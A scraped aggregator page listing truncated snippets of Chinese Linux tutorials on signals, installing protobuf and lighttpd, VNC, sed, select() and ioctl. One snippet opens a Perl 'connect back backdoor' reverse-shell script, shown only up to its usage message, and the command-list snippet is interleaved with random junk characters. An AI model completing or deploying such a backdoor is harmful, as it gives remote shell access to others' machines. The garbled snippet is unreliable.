Time of Update: 2018-12-04
From: http://blog.csdn.net/guosha/archive/2008/09/17/2943615.aspx Linux為實現訊號處理提供了比較多的介面,看似紛雜,但理清訊號的關係後還是很有條理的。主要分為以下四組,怎麼發送一個訊號,收到一個訊號後做什麼樣的處理,主動等待一個訊號的發生,對特定訊號只記錄是否發生供以後再處理;四組的API如下(不考慮多線程):發送訊號 kill, alarm, arise; 安裝訊號 signal, sigaction;等待訊號
Time of Update: 2018-12-04
上一篇是boot.s,這是head.s。關於head.s的作用為head.s程式運行在32位保護模式下,其中主要包括初始設定的代碼、時鐘中斷int
Time of Update: 2018-12-04
1 在網站 http://code.google.com/p/protobuf/downloads/list上可以下載 Protobuf 的原始碼。然後解壓編譯安裝便可以使用它了。安裝步驟如下所示: tar -xzf protobuf-2.1.0.tar.gz cd protobuf-2.1.0 ./configure --prefix=/usr/local/protobuf make make check make install 2 > sudo vim
Time of Update: 2018-12-04
如何利用VNC遠程圖形介面控制Linux Windows下面的遠程圖形介面的控制大家都已經駕輕就熟了。其實Linux下面利用vnc來圖形介面的控制也是非常簡單的。VNC是由兩部分組成:一部分是用戶端的應用程式(vncviewer);另外一部分是伺服器端的應用程式(vncserver)。 以redhat linux 8.0下面的安裝和使用為例 一、安裝vnc的rpm包 1.安裝linux 1.1 圖形介面下的安裝要是在KDE或者GNOME下,直接點擊rpm包,系統會自動開始安裝。
Time of Update: 2018-12-04
#!/usr/bin/perl# Connect Back Backdoor by Ch3m0nZ# Viva Satanic Soulsuse Socket;print "Connect Back Backdoor by Ch3m0nZ - Satanic Souls/n/n";if (!$ARGV[0]) { printf "Alvo: $0 [Host] <Port>/n"; exit(1); }print "[*] Enviando
Time of Update: 2018-12-04
在Linux下安裝完Apache 2.2.6,啟動HTTP服務就報錯,似乎不影響服務的使用,但是也挺彆扭的。-------------------------------------------------------------------------------------[root@linux http]# ./apachectl starthttpd: apr_sockaddr_info_get() failed for
Time of Update: 2018-12-04
redhat9下安裝VMware Tools下面是安裝步驟:1.啟動Rad Hat 9.0(圖形介面方式登陸),並且以管理員的身份登陸。2.在VMware虛擬機器的菜單中點擊:虛擬機器->安裝VMware 工具->install。3.Red Hat 9.0自動掛載VMware Tools的虛擬光碟機,並顯示在案頭。4.進去VMware
Time of Update: 2018-12-04
wget http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gztar zxvf fcgi-2.4.0.tar.gzcd fcgi-2.4.0./configuremake&&make installwget http://www.lighttpd.net/download/lighttpd-1.4.18.tar.gztar zxvf light*.tar.gzcd light*./configuremakemake instalcp doc/
Time of Update: 2018-12-04
1.準備圖片把滑鼠分為動態和靜態兩種,動態如等待狀態的滑鼠,大部分滑鼠是靜態動態:動畫的幀數x大小的種類數靜態:大小的種類數2.寫conf檔案內容格式為:<size> <xhot> <yhot> <filename>
Time of Update: 2018-12-04
rpm 執行安裝包二進位包(Binary)以及原始碼包(Source)兩種。二進位包可以直接安裝在電腦中,而原始碼包將會由RPM自動編譯、安裝。原始碼包經常以src.rpm作為尾碼名。常用命令組合:-ivh:安裝顯示安裝進度--install--verbose--hash-Uvh:升級軟體包--Update;-qpl:列出RPM軟體包內的檔案資訊[Query Package list];-qpi:列出RPM軟體包的描述資訊[Query Packageinstall
Time of Update: 2018-12-04
原文載於:http://bbs.linuxtone.org/thread-1731-1-1.html比如,要將目錄/modules下面所有檔案中的zhangsan都修改成lisi,這樣做:sed -i "s/zhangsan/lisi/g" `grep zhangsan -rl /modules`解釋一下:-i 表示inplace edit,就地修改檔案-r 表示搜尋子目錄-l 表示輸出匹配的檔案名稱這個命令組合很強大,要注意備份檔案。(1)sed
Time of Update: 2018-12-04
select()的機制中提供一fd_set的資料結構,實際上是一long類型的數組,每一個數組元素都能與一開啟的檔案控制代碼(不管是Socket控制代碼,還是其他 檔案或具名管道或裝置控制代碼)建立聯絡,建立聯絡的工作由程式員完成,當調用select()時,由核心根據IO狀態修改fd_set的內容,由此來通知執行了select()的進程哪一Socket或檔案可讀,下面具體解釋:int select(nfds, readfds, writefds, exceptfds, timeout) int
Time of Update: 2018-12-04
1)BIOS自檢2)啟動Grub/Lilo3)載入核心4)執行init進程5)通過/etc/inittab檔案進行初始化6)登陸Linux1)BIOS自檢 a)POST(Power On Self Test),對硬體進行檢測 電腦在通電後首先由BIOS進行自檢,即所謂的POST(Power On Self Test),對硬體進行檢測 依據BIOS內設定的引導順序從硬碟、磁碟片或CDROM中讀入"引導塊" 在PC中,Linux是從BIOS中的地址0xFFFF0處開始的
Time of Update: 2018-12-04
文章目錄 linux常見命令的列表 linux常見命令的列表命令 描述 $GusVpFs#I^Y4_ • apropos word 顯示和word相關的命令。 參見安全執行緒 7t+EM(e)Y which command 顯示命令的完整路徑名 ,lm^jP"/!q time command 計算命令啟動並執行時間 qh.|cV)BTA]Q • time cat 開始計時. Ctrl-d停止。參見sw
Time of Update: 2018-12-04
一.由於linux在教育網下不藉助任何加速工具,上網真叫一個慢,所以想在linux下與Windows共用資料夾,來使用先前下好的一些東東!要做到這點,你需要以下幾步: 1. mount /dev/cdrom /mnt/cdrom 2. VM菜單有一個install vm tools進行安裝 3. 之後/mnt/cdrom裡面就會有兩個檔案,一個是rpm檔案,一個是*.tar.gz檔案,把rpm檔案安裝,再用tar解壓縮*.tar.gz的檔案,
Time of Update: 2018-12-04
以下操作均由sybase使用者來做:建立一個指令檔,譬如/sybase/script/dump.sh類容如下$ cat dump.sh/sybase/OCS-12_5/bin/isql -Usa -P******* -S******* -i /sybase/script/dump.sql -o /sybse/script/dump.logmv /caiwubackup/backup/cwbase1.bak /caiwubackup/backup/cwbase1_`date
Time of Update: 2018-12-04
Arm9-linux-2.6.30.4X264進行yuv420視頻轉換。 進行各種嘗試結果出錯:[root@EmbedSky /media]# ./x264 -o qq.264 foreman_qcif.yuv 176X144raw [error]: raw input requires a resolution.x264 [error]: could not open input file `foreman_qcif.yuv' 然後再網上看到一段經典的話:raw [error]: raw
Time of Update: 2018-12-04
http://blog.csdn.net/fuyangchang/article/details/2101085 #include <unistd.h>;#include <sys/types.h>;main (){ pid_t pid; pid=fork(); if (pid < 0) printf("error in fork!"); else if (pid == 0)
Time of Update: 2018-12-04
CFQ調度器是四種IO Scheduler中最複雜的一個,redhat有個文檔可以做為入門的文檔先瞭解下 red-hat-enterprise-linux-5-io-tuning-guide.pdfThe cfq scheduler maintains a maximum of 64 internal request queues; each process running on thesystem is assigned to any of these queues. Each time a
Time of Update: 2018-12-04
大部分驅動除了需要具備讀寫裝置的能力之外,還需要具備對硬體控制的能力。 一、在使用者空間,使用ioctl系統調用來控制裝置,原型如下:int ioctl(int fd,unsigned long cmd,...);/*fd:檔案描述符cmd:控制命令...:選擇性參數:插入*argp,具體內容依賴於cmd*/使用者程式所作的只是通過命令碼告訴驅動程式它想做什麼,至於怎麼解釋這些命令和怎麼實現這些命令,這都是驅動程式要做的事情。二、驅動ioctl方法:int (*ioctl) (struct